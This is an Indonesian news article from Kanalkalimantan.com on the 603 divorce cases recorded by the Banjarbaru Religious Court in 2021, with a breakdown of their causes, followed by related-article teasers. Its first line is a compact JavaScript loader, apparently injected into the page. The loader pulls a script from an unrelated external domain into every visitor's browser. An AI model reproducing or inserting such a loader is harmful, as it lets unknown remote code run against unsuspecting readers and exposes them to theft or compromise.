(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ada 603 kasus cerai talak maupun cerai gugat yang tercatat di Pengadilan Agama (PA) Banjarbaru per tahun 2021 lalu. Beberapa faktor yang mendominasi perceraian yakni adanya perselisihan dan pertengkaran terus-menerus sebanyak 451 kasus.
Ketua Pengadilan Agama Banjarbaru, Muhammad Najmi Fajri mengatakan banyak faktor yang mendasari perceraian di Kota Banjarbaru. Setidaknya ada 532 perkara yang disebebkan beberapa faktor.
Penyebab yang paling banyak meninggalkan salah satu pihak dengan alasan pertengkaran terus menerus.
“Paling banyak itu perselisihan dan pertengkaran terus menerus,” ungkapnya kepada Kanalkalimantan.com, Rabu (9/2/2022).
Baca juga : Bupati Eddy Raya Hadiri Musrenbangdes di Kecamatan Jenamas
Ia menambahkan, meninggalkan salah satu pihak dengan alasan ingin menenangkan diri karena kelamaan sehingga memilih cerai, tercatat ada 51 kasus.
Kemudian faktor ekonomi setidaknya PA Banjarbaru mencatat ada 11 kasus, terhentinya pemberian nafkah kepada istri dalam rentan 3 sampai 6 bulan.
Kekerasan dalam rumah tangga (KDRT) PA juga mencatat ada 2 kasus, yang di dalamnya ada kekerasan fisik, seksual, ekonomi termasuk penelantaran. Bahkan cacat badan pun menjadi salah satu penyebab perceraian tercatat ada 2 kasus.
“Biasanya orang bercerai itu tidak satu faktor saja, seperti lingkaran yang saling berhubungan,” jelasnya.
Lanjut Najmi, bahkan faktor teknologi juga menjadi salah satu faktor perceraian, adanya pihak ketiga, yang biasanya rekam jejak mereka tercatat di sana.
Baca juga : Diduga Dikeroyok Tiga Begal, Laki-laki Ini Ngaku Hilang HP dan Sepeda Motor
Seperti poligami tercatat ada 7 kasus, ada juga faktor akhlak seperti mabuk yang tercatat 3 kasus, judi 1 kasus, dihukum penjara 3 kasus dan murtad 1 kasus.
“Faktor kemerosotan moral seperti judi, mabuk, menjalin hubungan asmara orang lain selain istri atau suami sah,” sebutnya.
Dijelaskannya, pasutri mengajukan perceraian jarang ditemukan satu faktor penyebabnya, bisa dipastikan ada beberapa faktor yang saling berkaitan.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.